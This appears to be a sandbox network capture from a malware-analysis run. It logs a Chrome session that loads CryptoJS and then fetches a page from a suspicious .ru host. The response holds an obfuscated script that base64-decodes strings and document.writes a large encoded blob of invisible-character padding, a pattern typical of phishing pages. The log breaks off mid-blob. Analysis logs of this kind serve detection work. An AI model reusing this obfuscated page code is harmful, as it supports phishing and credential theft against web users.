2025-03-06 13:38:35 UTC	955	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"64972557-4155" Last-Modified: Sat, 24 Jun 2023 17:18:15 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 26657 Expires: Tue, 24 Feb 2026 13:38:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OtW8mAbAaHkN1OGtHxYggXVJWqAZ3hza97uyRpSVueOASBrG3uBESNfzenhrfZr9IXfB9%2BypuRIMserCSJPD%2B3cD5gRfTVRYuDlJTNKslfAeEp9mYpXNieNtgOmbAALWjiZsNROX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c2411adfbc4514-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:35 UTC	414	IN	Data Raw: 37 62 66 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf5!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 Data Ascii: dow.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.g
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c Data Ascii: this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBl
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 Data Ascii: i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 Data Ascii: >>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((6
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a Data Ascii: 2,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 Data Ascii: ,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e Data Ascii: all(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>
2025-03-06 13:38:35 UTC	1369	IN	Data Raw: 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b Data Ascii: ion(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49749	104.21.14.2	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:37 UTC	655	OUT	GET /n46ESpbl/ HTTP/1.1 Host: xx3j.t23ngbco3.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:38 UTC	1224	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TiCtMxX%2F%2BPhUsfwaba%2B6T8xXhxka%2BEY9zy2FVOzrHuXIkK%2BE3YErm3IkKSHlXgNSd7qF4zXUWnZlP7YbMNjmhg%2B7gbo0X%2B2ymratsQPCvFJ0FwjOZN6NTwvnfn9Gjl%2BpC1Ru"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18485&min_rtt=18412&rtt_var=5236&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1569&delivery_rate=219401&cwnd=246&unsent_bytes=0&cid=c484fca5b2a831af&ts=206&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlJBaVlLS1F5UFE4OVp5RDlJcGtHSkE9PSIsInZhbHVlIjoiSE9wa1EvSXl4QkRqOU5nRkUwZ0JDN1hUMlVab2pMbDBsRzJiVEE4TGlQd0pDUVpJemFOSUlxd3NQTVVCQ3RqNzlIU3NIMG9HY2xUajgyNWprU3JJTCtiem9nNUlaV2ZVN25tdENSWit2RE0wZ2hibFptWWFKaUgwaXVaNDV0dzMiLCJtYWMiOiI1MzFjNDYyODZlZWZlYzJhZTlmMzhkNTFkNDUyYmE3NThjMDg5ZmZhOWRkNTkwZGUzNDQwODVhM2Q1MTFmMTMwIiwidGFnIjoiIn0%3D; expires=Thu, 06-Mar-2025 15:38:37 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-06 13:38:38 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4e 7a 53 33 4e 4e 55 48 45 77 59 54 6c 77 55 6b 64 6e 4e 45 56 72 59 58 42 33 52 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 6b 46 6c 53 46 4e 79 53 58 6c 42 52 54 56 35 4e 54 68 53 61 6a 42 73 63 48 68 56 5a 32 49 78 61 6e 49 30 5a 57 64 48 62 58 46 34 56 47 52 69 56 56 46 30 4d 58 4a 52 59 33 5a 6c 52 6d 67 30 62 43 39 6b 4c 31 56 76 53 31 46 33 59 6c 4d 32 63 55 6c 72 54 6e 4e 48 55 56 52 32 4f 55 52 73 57 55 6b 7a 4d 58 67 30 55 47 5a 71 52 45 39 33 4e 6b 6c 7a 4b 32 55 33 55 6a 49 79 52 47 31 6f 5a 43 39 50 5a 43 74 5a 54 44 56 74 54 57 31 4e 51 30 6c 4f 4b 30 5a 52 5a 47 6c 58 4e 44 56 6b 65 45 5a 78 64 58 56 4d 56 46 59 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImNzS3NNUHEwYTlwUkdnNEVrYXB3RFE9PSIsInZhbHVlIjoiRkFlSFNySXlBRTV5NThSajBscHhVZ2IxanI0ZWdHbXF4VGRiVVF0MXJRY3ZlRmg0bC9kL1VvS1F3YlM2cUlrTnNHUVR2OURsWUkzMXg0UGZqRE93NklzK2U3UjIyRG1oZC9PZCtZTDVtTW1NQ0lOK0ZRZGlXNDVkeEZxdXVMVFY
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 31 63 38 31 0d 0a 3c 73 63 72 69 70 74 3e 0a 6e 57 7a 6e 4b 54 61 6f 65 63 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 36 57 43 35 30 4d 6a 4e 75 5a 32 4a 6a 62 7a 4d 75 63 6e 55 76 62 6a 51 32 52 56 4e 77 59 6d 77 76 22 29 3b 0a 4c 51 65 74 4c 41 6b 6c 65 43 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 76 55 6f 73 44 53 49 4b 50 6f 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6e 57 7a 6e 4b 54 61 6f 65 63 20 3d 3d 20 4c 51 65 74 4c 41 6b 6c 65 43 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 76 55 6f 73 44 53 49 4b 50 6f 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 1c81<script>nWznKTaoec = atob("aHR0cHM6Ly96WC50MjNuZ2JjbzMucnUvbjQ2RVNwYmwv");LQetLAkleC = atob("bm9tYXRjaA==");vUosDSIKPo = atob("d3JpdGU=");if(nWznKTaoec == LQetLAkleC){document[vUosDSIKPo](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 Data Ascii: Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g4
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 Data Ascii: k44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776
2025-03-06 13:38:38 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 